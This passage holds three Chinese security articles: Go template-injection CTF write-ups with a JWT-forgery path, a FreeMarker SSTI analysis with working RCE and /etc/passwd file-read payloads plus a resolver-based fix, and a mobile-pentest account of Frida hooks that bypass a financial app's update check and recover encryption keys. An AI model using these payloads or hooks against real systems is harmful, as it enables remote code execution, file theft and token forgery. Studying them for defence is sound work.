`<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } struct是定义了的一个结构体,在go中,我们是通过结构体来类比一个对象,因此他的字段就是一个对象的属性,在该实例中,我们所期待的输出内容为下 模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ .Email }} 期待输出 <h1>Hi, John</h1><br>Your Email is test@example.com 可以看得出来,当传入参数可控时,就会经过动态内容生成不同的内容,而我们又可以知道,go模板是提供字符串打印功能的,我们就有机会实现xss。 package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 模板内容 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }} 期待输出 <h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is test@example.com 实际输出 弹出/xss/ 这里就是text/template和html/template的最大不同了。 html/template 同样的例子,但是我们把导入的模板包变成html/template package main import ( "net/http" "html/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{"<script>alert(/xss/)</script>"}}</h1><br>Your Email is {{ .Email }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 可以看到,xss语句已经被转义实体化了,因此对于html/template来说,传入的script和js都会被转义,很好地防范了xss,但text/template也提供了内置函数html来转义特殊字符,除此之外还有js,也存在template.HTMLEscapeString等转义函数。 而通过html/template包等,go提供了诸如Parse/ParseFiles/Execute等方法可以从字符串或者文件加载模板然后注入数据形成最终要显示的结果。 html/template 包会做一些编码来帮助防止代码注入,而且这种编码方式是上下文相关的,这意味着它可以发生在 HTML、CSS、JavaScript 甚至 URL 中,模板库将确定如何正确编码文本。 template常用基本语法 在{{}}内的操作称之为pipeline {{.}} 表示当前对象,如user对象 {{.FieldName}} 表示对象的某个字段 {{range …}}{{end}} go中for…range语法类似,循环 {{with …}}{{end}} 当前对象的值,上下文 {{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择 {{xxx | xxx}} 左边的输出作为右边的输入 {{template "navbar"}} 引入子模版 漏洞演示 在go中检测 SSTI 并不像发送 {{7*7}} 并在源代码中检查 49 那么简单,我们需要浏览文档以查找仅 Go 原生模板中的行为,最常见的就是占位符. 在template中,点"."代表当前作用域的当前对象,它类似于java/c++的this关键字,类似于perl/python的self。 package main import ( "net/http" "text/template" ) type User struct { ID       int Name string Email    string Password string } func StringTpl2Exam(w http.ResponseWriter, r *http.Request) { user := &User{1,"John", "test@example.com", "test123"} r.ParseForm() tpl := `<h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}` data := map[string]string{ "Name":  user.Name, "Email": user.Email, } html := template.Must(template.New("login").Parse(tpl)) html.Execute(w, data) } func main() { server := http.Server{ Addr: "127.0.0.1:8888", } http.HandleFunc("/string", StringTpl2Exam) server.ListenAndServe() } 输出为 模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }} 期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John] 可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。 接下来就以几道题目来验证一下 [LineCTF2022]gotm package main import ( "encoding/json" "fmt" "log" "net/http" "os" "text/template" "github.com/golang-jwt/jwt" ) type Account struct { id         string pw         string is_admin   bool secret_key string } type AccountClaims struct { Id       string `json:"id"` Is_admin bool   `json:"is_admin"` jwt.StandardClaims } type Resp struct { Status bool   `json:"status"` Msg    string `json:"msg"` } type TokenResp struct { Status bool   `json:"status"` Token  string `json:"token"` } var acc []Account var secret_key = os.Getenv("KEY") var flag = os.Getenv("FLAG") var admin_id = os.Getenv("ADMIN_ID") var admin_pw = os.Getenv("ADMIN_PW") func clear_account() { acc = acc[:1] } func get_account(uid string) Account { for i := range acc { if acc[i].id == uid { return acc[i] } } return Account{} } func jwt_encode(id string, is_admin bool) (string, error) { claims := AccountClaims{ id, is_admin, jwt.StandardClaims{}, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString([]byte(secret_key)) } func jwt_decode(s string) (string, bool) { token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) { return []byte(secret_key), nil }) if err != nil { fmt.Println(err) return "", false } if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid { return claims.Id, claims.Is_admin } return "", false } func auth_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if len(acc) > 1024 { clear_account() } user_acc := get_account(uid) if user_acc.id != "" && user_acc.pw == upw { token, err := jwt_encode(user_acc.id, user_acc.is_admin) if err != nil { return } p := TokenResp{true, token} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } w.WriteHeader(http.StatusForbidden) return } func regist_handler(w http.ResponseWriter, r *http.Request) { uid := r.FormValue("id") upw := r.FormValue("pw") if uid == "" || upw == "" { return } if get_account(uid).id != "" { w.WriteHeader(http.StatusForbidden) return } if len(acc) > 4 { clear_account() } new_acc := Account{uid, upw, false, secret_key} acc = append(acc, new_acc) p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } func flag_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, is_admin := jwt_decode(token) if is_admin == true { p := Resp{true, "Hi " + id + ", flag is " + flag} res, err := json.Marshal(p) if err != nil { } w.Write(res) return } else { w.WriteHeader(http.StatusForbidden) return } } } func root_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else { return } } func main() { admin := Account{admin_id, admin_pw, true, secret_key} acc = append(acc, admin) http.HandleFunc("/", root_handler) http.HandleFunc("/auth", auth_handler) http.HandleFunc("/flag", flag_handler) http.HandleFunc("/regist", regist_handler) log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil)) } 我们先对几个路由和其对应的函数进行分析。 struct结构 type Account struct { id         string pw         string is_admin   bool secret_key string } 注册功能 func regist_handler(w http.ResponseWriter, r *http.Request) {    uid := r.FormValue("id")    upw := r.FormValue("pw")    if uid == "" || upw == "" {        return   }    if get_account(uid).id != "" {        w.WriteHeader(http.StatusForbidden)        return   }    if len(acc) > 4 {        clear_account()   }    new_acc := Account{uid, upw, false, secret_key} //创建新用户    acc = append(acc, new_acc)    p := Resp{true, ""}    res, err := json.Marshal(p)    if err != nil {   }    w.Write(res)    return } 登录功能 func auth_handler(w http.ResponseWriter, r *http.Request) {    uid := r.FormValue("id")    upw := r.FormValue("pw")    if uid == "" || upw == "" {        return   }    if len(acc) > 1024 {        clear_account()   }    user_acc := get_account(uid)    if user_acc.id != "" && user_acc.pw == upw {    //检验id和pw        token, err := jwt_encode(user_acc.id, user_acc.is_admin)        if err != nil {            return       }        p := TokenResp{true, token}     //返回token        res, err := json.Marshal(p)        if err != nil {       }        w.Write(res)        return   }    w.WriteHeader(http.StatusForbidden)    return } 认证功能 func root_handler(w http.ResponseWriter, r *http.Request) {    token := r.Header.Get("X-Token")    if token != "" {    //根据token解出id,根据uid取出对应account        id, _ := jwt_decode(token)        acc := get_account(id)        tpl, err := template.New("").Parse("Logged in as " + acc.id)        if err != nil {       }        tpl.Execute(w, &acc)   } else {        return   } } 得到account func get_account(uid string) Account {    for i := range acc {        if acc[i].id == uid {            return acc[i]       }   }    return Account{} } flag路由 func flag_handler(w http.ResponseWriter, r *http.Request) {    token := r.Header.Get("X-Token")    if token != "" {        id, is_admin := jwt_decode(token)        if is_admin == true {   //将is_admin修改为true即可得到flag            p := Resp{true, "Hi " + id + ", flag is " + flag}            res, err := json.Marshal(p)            if err != nil {           }            w.Write(res)            return       } else {            w.WriteHeader(http.StatusForbidden)            return       }   } } 所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。 而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。 /regist?id={{.}}&pw=123 /auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"} 带上token重新访问 Logged in as {{{.}} 123 false this_is_f4Ke_key} 得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo 带上token访问/flag [WeCTF2022]request-bin 洁白一片,使用{{.}}进行检测 这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。 我们需要的是进行文件的读取,所以我们需要看看iris的accesslog库的模板注入如何利用。 在Accesslog的结构体中可以发现 type Log struct { // The AccessLog instance this Log was created of. Logger *AccessLog `json:"-" yaml:"-" toml:"-"` // The time the log is created. Now time.Time `json:"-" yaml:"-" toml:"-"` // TimeFormat selected to print the Time as string, // useful on Template Formatter. TimeFormat string `json:"-" yaml:"-" toml:"-"` // Timestamp the Now's unix timestamp (milliseconds). Timestamp int64 `json:"timestamp" csv:"timestamp"` // Request-Response latency. Latency time.Duration `json:"latency" csv:"latency"` // The response status code. Code int `json:"code" csv:"code"` // Init request's Method and Path. Method string `json:"method" csv:"method"` Path   string `json:"path" csv:"path"` // The Remote Address. IP string `json:"ip,omitempty" csv:"ip,omitempty"` // Sorted URL Query arguments. Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"` // Dynamic path parameters. PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"` // Fields any data information useful to represent this Log. Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"` // The Request and Response raw bodies. // If they are escaped (e.g. JSON), // A third-party software can read it through: // data, _ := strconv.Unquote(log.Request) // err := json.Unmarshal([]byte(data), &customStruct) Request  string `json:"request,omitempty" csv:"request,omitempty"` Response string `json:"response,omitempty" csv:"response,omitempty"` // The actual number of bytes received and sent on the network (headers + body or body only). BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"` BytesSent     int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"` // A copy of the Request's Context when Async is true (safe to use concurrently), // otherwise it's the current Context (not safe for concurrent access). Ctx *context.Context `json:"-" yaml:"-" toml:"-"` } 这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。 所以我们可以构造payload如下 {{ .Ctx.SendFile "/flag" "1.txt"}} 后言 golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。
Java FreeMarker模板引擎注入深入分析
0x01 前言 最近和 https://f1or.cn/ 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day,之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。 有三个最重要的模板,其实模板引擎本质上的原理差不多,因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了,所以大体上老生常谈的东西就不继续讲了。 三个模板的模板注入攻击差距其实还是有点大的,而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI 0x02 FreeMarker SSTI FreeMarker 官网:http://freemarker.foofun.cn/index.html 对应版本是 2.3.23,一会儿我们搭建环境的时候也用这个版本 FreeMarker 基础语法 关于文本与注释,本文不再强调,重点看插值与 FTL 指令。 插值 插值也叫 Interpolation,即 ${..} 或者 #{..} 格式的部分,将使用数据模型中的部分替代输出 比如这一个 .ftl 文件 <!DOCTYPE html>   <html lang="en">   <head>      <meta charset="UTF-8">      <title>Hello ${name}!</title>      <link href="/css/main.css" rel="stylesheet">   </head>   <body>      <h2 class="hello-title">Hello ${name}!</h2>      <script src="/js/main.js"></script>   </body>   </html> 那么 ${name} 的数据就会从传参里面拿,对应的这个是在 addAttribute 中的 name 参数 FTL 指令 FTL 指令以 # 开头,其他语法和 HTML 大致相同。 我这里其实也花了不少时间看了 FreeMarker 的基础语法,但是并非很透彻,就不误人子弟了,有兴趣的师傅可以自己前往 FreeMarker 手册查看。 https://freemarker.apache.org/ FreeMarker SSTI 成因与攻击面 看了一些文章,有些地方有所疏漏,先说 SSTI 的攻击面吧,我们都知道 SSTI 的攻击面其实是模板引擎的渲染,所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢?这就有关乎我们的攻击面了。 将 HTML 语句放到服务器上有两种方法: 1、文件上传 HTML 文件。 2、若某 CMS 自带有模板编辑功能,这种情况非常多。 因为之前有接触过 Thymeleaf 的 SSTI,Thymeleaf 的 SSTI 非常锋利, Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE(当然这段话很可能是不严谨的 在刚接触 FreeMarker 的 SSTI 的时候,我误以为它和 Thyemelaf 一样,直接通过传参就可以打,后来发现我的想法是大错特错。 环境搭建 一些开发的基本功,因篇幅限制,我也不喜放这些代码的书写,贴个项目地址吧 https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview漏洞复现 前文我有提到,FreeMarker 的 SSTI 必须得是获取到 HTML,再把它转换成模板,从而引发漏洞,所以这里要复现,只能把 HTML 语句插入到 .ftl 里面,太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活,有兴趣的师傅可以滴一下我 payload: <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法,都写到脸上来了。 漏洞复现如图 漏洞分析 我们要分析的是,MVC 的思维,以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。 下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试 跟进 super.createView() 进一步跟进 loadView() 以及 buildView(),这些方法的业务意义都比较好理解,先 create 一个 View 视图,再将其 load 进来,最后再 build。 在 buildView() 方法当中,先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类,又进行了一些基础赋值,将我们的 View Build 了出来(也就是 View 变得有模有样了) 继续往下走,回到 loadView() 方法,loadView() 方法调用了 view.checkResource() 方法 checkResource() 方法做了两件事,第一件事是判断 Resource 当中的 url 是否为空,也就是判断是否存在 resource,如果 url 都没东西,那么后续的模板引擎加载就更不用说了;第二件事是进行 template 的获取,也可以把这理解为准备开始做模板引擎加载的业务了。 跟进 getTemplate() 方法 首先做了一些赋值判断,再判断 Template 的存在,我们跟进 this.cache.getTemplate 这里从 cache 里面取值,而在我们 putTemplate 设置模板的时候,也会将至存储到 cache中。 跟进 getTemplateInternal() 先做了一些基本的判断,到 202 行,跟进 lookupTemplate() 方法 这里代码很冗杂,最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy 代码会先拼接 _zh_CN,再寻找未拼接 _zh_CN 的模板名,调用 this.findTemplateSource(path) 获取模板实例。 这里就获取到了 handle 执行返回的模板视图实例,这里我 IDEA 没有走过去,就跟着奶思师傅的文章先分析了。 org.springframework.web.servlet.DispatcherServlet#doDispatch 流程 handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。 调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender 跟进 this.processTemplate() 跟进 process() process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。 在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。 在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,而 visit() 方法又调用了 element.accept(),跟进 跟进 calculateInterpolatedStringOrMarkup() 方法 calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记,跟进 eval() 方法 eval() 方法简单判断了 constantValue 是否为 null,这里 constantValue 为 null,跟进 this._eval(),一般的 _eval() 方法只是将 evn 获取一下,但是对于 ftl 语句就不是这样了,一般的 _eval() 方法如下 而对于 ftl 表达式来说,accept 方法是这样的 跟进一下 accept() 方法 做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536,到第 105 行,跟进 eval() 方法,再跟进 _eval() 我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类,也就是说这一个语句相当于 Object result = targetMethod.exec(argumentStrings); // 等价于 Object result = freemarker.template.utility.Execute.exec(argumentStrings); 而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。 命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图 至此,分析结束,很有意思的一个流程分析。 FreeMarker SSTI 的攻防二象性 我们目前的 PoC 是这么打的 <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")} 这是因为 FreeMarker 的内置函数 new 导致的,下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api 内置函数 new 可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本之后默认为 false。 由此我们可以构造出一系列的 bypass PoC POC1 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON")> <#assign field=clazz?api.getField("GSON")> <#assign gson=field?api.get(null)> <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> ${ex("Calc"")} POC2 <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()} POC3 <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc") POC4 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") } 读取文件 <#assign is=object?api.class.getResourceAsStream("/Test.class")> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>]<#assign uri=object?api.class.getResource("/").toURI()> <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0..999999999 as _>    <#assign byte=is.read()>    <#if byte == -1>        <#break>    </#if> ${byte}, </#list>] 从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。 2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.templ FreeMarker SSTI 修复 因为 FreeMarker 不能直接传参打,所以此处的代码参考奶思师傅。 package freemarker; import freemarker.cache.StringTemplateLoader; import freemarker.core.TemplateClassResolver; import freemarker.template.Configuration; import freemarker.template.Template; import java.io.IOException; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.util.HashMap; public class freemarker_ssti {    public static void main(String[] args) throws Exception {        //设置模板        HashMap<String, String> map = new HashMap<String, String>();        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";        System.out.println(poc);        StringTemplateLoader stringLoader = new StringTemplateLoader();        Configuration cfg = new Configuration();        stringLoader.putTemplate("name",poc);        cfg.setTemplateLoader(stringLoader);        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);        //处理解析模板        Template Template_name = cfg.getTemplate("name");        StringWriter stringWriter = new StringWriter();        Template_name.process(Template_name,stringWriter);   } } 防御成功 0x03 小结 比较其他两个模板引擎来说,FreeMarker 的 SSTI 更为严格一些,它的防护也做的相当有力,这个给自己挖个小坑吧,后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
一次金融APP的解密历程
前言: 客户仅提供官网下载地址给我们测试。但是由于官网的版本不是最新的,APP会强制你升级。而升级后的APP,是进行加固后的,无法使用frida进行hook,注入进程。那同样也无法使用SSL Unpinning进行限制客户端校验证书。新版app使用查壳软件显示未加壳,但是查看源代码明显少了很多代码,且很多都是变量声明而已。 绕过更新: 我们要想能对APP渗透测试,一般都是需要抓包和解密的。首先使用burp进行抓包代理,官网版本的APP(以下统称旧版APP),是可以轻松抓到APP的包的(该条请求为检验APP最新版本的请求)。但是内容使用了加密,具体什么加密是不得而知。 获取到请求密文: vVAK0jos5eT9gmQJaHOaYbqZ1mgXoBH3bee3MTF3G5wNRHRoPPOYokZLT4MQqaPDN%2BLeEYpIzzDJeErDHcDfhY8muosLfOaw35W3BuCxDNtuNFB86RumMBtOcQXT08qw 响应包未json,urldecode后为: {"duration":"0ms","note":"","code":1,"resultDES":"UX/jHk6yqix2yxZIrf0rSIuOjCy6oGxjCPUfBL2avG+DWy/++NW16+YQHVFQ+Nj2w9VOWGcH4OxFtGxbR6K7I6pY0Q9hkP9gc0K0JLZ5O+PwOW72nzissCiLG+cHqadKHzkPOQDdBUuBoa4W1Jz7fQ=="} 通过desStr和resultDES,一开始我猜测他为des加密,具体是不是,后续再说。 先进入APP,但是一进入APP就提示更新: 通过前言,我们知道是不能更新的。(当然不乏某些技术大佬也可以把新版APP搞定,我技术有限,感觉旧版的比较容易搞)。那我们就明确了目标,要先绕过更新校验。 对于不了解hook**和frida的同学,我这边推荐先去网上了解下,还有安装之类的,再来看此篇文章。 首先我们明确一下思路,要怎么绕过这个更新校验呢? (1)直接反编译,修改APP的版本信息为99.99之类的; (2)通过修改版本验证请求,使用http层面去绕过; (3)使用hook,去重写更新函数,或者绕过更新函数; 第一点要app能支持反编译且不存在校验签名。第二点要能知道加密密文的密钥。所以我选择第三种: 通过jadx搜索更新,发现了两处,成功获取到源代码。 类名分别为:com.xxxx.AppUpdate和com.xxxx.WelcomeActivity,通过代码审计可以看到,是先调用的WelcomeActivity,WelcomeActivity再去调用的AppUpdate: 跟踪进入AppUpdate,调用的checkNativeAppVersion(): 通过上述代码,我们可以看到,这边就是用于判断是否升级的函数。 public void onResponse(Call call, Response response) throws IOException {    try {        JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes()));        if (jSONObject.optInt("code", -1) > 0) {            JSONObject optJSONObject = jSONObject.optJSONObject("object");            if (optJSONObject == null) {                return;           }            if (WakedResultReceiver.CONTEXT_KEY.equals(optJSONObject.optString("isUpdate", ChatConfig.CARD_TYPE))) {                nativeAppVersionInterface.updateApp(optJSONObject.optString("desc", "当前有新版本,是否需要更新"), optJSONObject.optString(ClientCookie.VERSION_ATTR, ""));           } else {                nativeAppVersionInterface.noUpdateApp();           }       } else {            nativeAppVersionInterface.showError(jSONObject.optString("note"));       }   } catch (JSONException e) {        e.printStackTrace();        nativeAppVersionInterface.showError(e.getMessage());   } } 当JSONObject.optInt("code", -1) > 0时,是会去进行升级的,否则则执行nativeAppVersionInterface.noUpdateApp()。 这边分析完后,其实我们就可以写js进行hook操作了。 我们的hook思路可以这样设置了: 重写checkNativeAppVersion函数,执行执行nativeAppVersionInterface.noUpdateApp()。 Ps:因为我一开始直接重写了checkNativeAppVersion,只执行了console.log(“enter checkNativeAppVersion”),没有对APP进行启动,这样就会直接卡死在启动页。 附上js代码: if(Java.available){    console.log('success');        Java.perform(function(){        var appUpdate = Java.use("com.xxxx.AppUpdate");        appUpdate.checkNativeAppVersion.implementation = function(a,b,c,d,e,f){            console.log("enter AppUpdate");//判断是否进入该hook函数,进入会执行该命令            f.noUpdateApp();//直接执行不需要更新函数,APP会自动进入       }       }); } 使用命令:frida -U -l .\xxx.js -f 包名 --no-pause 成功进入: 解密: 已经成功进入该APP,但是如果想成功进行渗透测试的话,还需要能解开APP的加密。通过des字段,初步判断为des加密,再回头看看刚刚更新的那个请求,是有用c.s2()函数进行操作的,大概率s2就是解密函数。 JSONObject jSONObject = new JSONObject(C.s2(new JSONObject(URLDecoder.decode(response.body().string(), DataUtil.UTF8)).getString("resultDES"), Config.WHITE_KEY, Config.IV.getBytes())); 可以看到s2的三个参数,即前面响应包中的json字段里面的resultDES参数,然后其次是Config.WHITE_KEY, Config.IV两个参数,其中Config.IV是以字节数组的形式进行传参的。通过跳转可以看到配置文件的参数。 然后呢,因为获取到密钥和偏移量iv,这样的话des就可以解了。但是问题是解不开。后续的思路就是如果可以直接hook这两个加解密函数的话,是不是就可以不用管他的加解密了。 s1和s2函数不在java层,那我们就需要hook native层的代码。Hook so文件。首先我们先把安装包后缀apk改成zip,然后解压。就可以找到wkb-1.2.2.so的文件了。(路径为lib/arm64-v8a/wkb-1.2.2.so,前面的arm64根据自己测试机的CPU架构进行选择。)直接用ida打开,在导出函数里面搜索des: 里面有很多des的相关函数。可使用以下js进行hook导出函数: if(Java.available){    console.log('success');        Java.perform(function(){        var point = Module.findExportByName("libwkb-1.2.2.so","desDecryptByteArray");        Interceptor.attach(point,{            onEnter: function(args){                console.log("Hook start");                console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数                console.log("args[1]=" + args[1]); //打印我们java层传入的第二个参数           },            onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值                console.log("return:" + retval); //打印返回值           }       });       }); } 但是这边很奇怪的是,通过函数findExportByName找到的地址都是为null,一开始以为是还没加载到so文件,但是后续进入APP后还是一样为null。(有知道的大佬可以说下) 这就比较蛋疼了,得手动计算地址。首先先获取so文件的地址,看能不能获取到,若不行,则表示未加载so文件。 var soAddr = Module.findBaseAddress("libwkb-1.2.2.so"); console.log("soAddr:" + soAddr); 有地址出来,说明so文件是存在的,可以正常调用。那么这边就要去计算函数偏移量。之前在网上看到别人的一个公式: 函数地址=so**初始地址+函数偏移量+1** 但是我后面尝试了好几个,好像不同手机不同的计算方法,也可能我操作的有问题。我这边的函数地址就是: 函数地址=so**初始地址+函数偏移量** 不用加一。我自己是用这个方法测试计算的:找到一个导出函数可以被查询到的,比如我这边使用的就是JNI_OnLoad函数: 获取JNI_OnLoad的地址为0x79d5d7883c,然后使用这个地址减去so的地址: 0x79d5d7883c − 0x79d5d67000 = 1183c 差值刚好为JNI_OnLoad的偏移量,所以我这边就不用再进行加一操作了。 这样我们就可以成功hook任意函数了。通过我一个个尝试发现,以下函数一个都没调用过: 然后呢,我查找了s2函数的用例,发现被decodeSm4的函数调用过。 我就尝试了一下,hook了sm4EncryptByteArr: 附上js: var soAddr = Module.findBaseAddress("libwkb-1.2.2.so"); var point = soAddr.add(0x136f0); Interceptor.attach(point,{            onEnter: function(args){                console.log("Hook start");                console.log("args[0]=" + args[0]); //打印我们java层第一个传入的参数                console.log("args[2]=" + Java.vm.getEnv().getStringUtfChars(args[2], null).readCString()); //打印我们java层传入的第三个参数                console.log("args[3]=" + Java.vm.getEnv().getStringUtfChars(args[3], null).readCString()); //打印我们java层传入的第四个参数           },            onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值                console.log("return:" + Java.vm.getEnv().getStringUtfChars(retval, null).readCString()); //打印返回值                // retval.replace(0); //替换返回值为0                // return retval;           }       }); Ps:通过ida里面的参数,我们可以看到第二个参数为类,我们就没给他打印出来。 我人傻了,一开始的des字眼和偏移量这些都符合des的加密方式,误导了我好久,一直往des方向去找。 尾声: 其实很早我就已经解密成功了,直接通过java层,刚刚发现调用s2的decodeSm4函数,直接hook那边即可成功获取请求和响应的明文: 但是若通过js去操作修改数值,实在太麻烦了,要获取密钥和加密方式,通过脚本自动去加解密,所以我才会去hook native层,获取到密钥。因为上述密钥Config.WHITE_KEY,其实是还有一层加密的,通过hook decodeWhiteKey函数的返回值,成功获取了密钥。 其实后续我也尝试去修改版本号绕过,但是事实证明,代码存在验签: 可以看到,把版本号修改为99.9.99,成功绕过了更新检测,但是他还存在一个盗版验签检测: 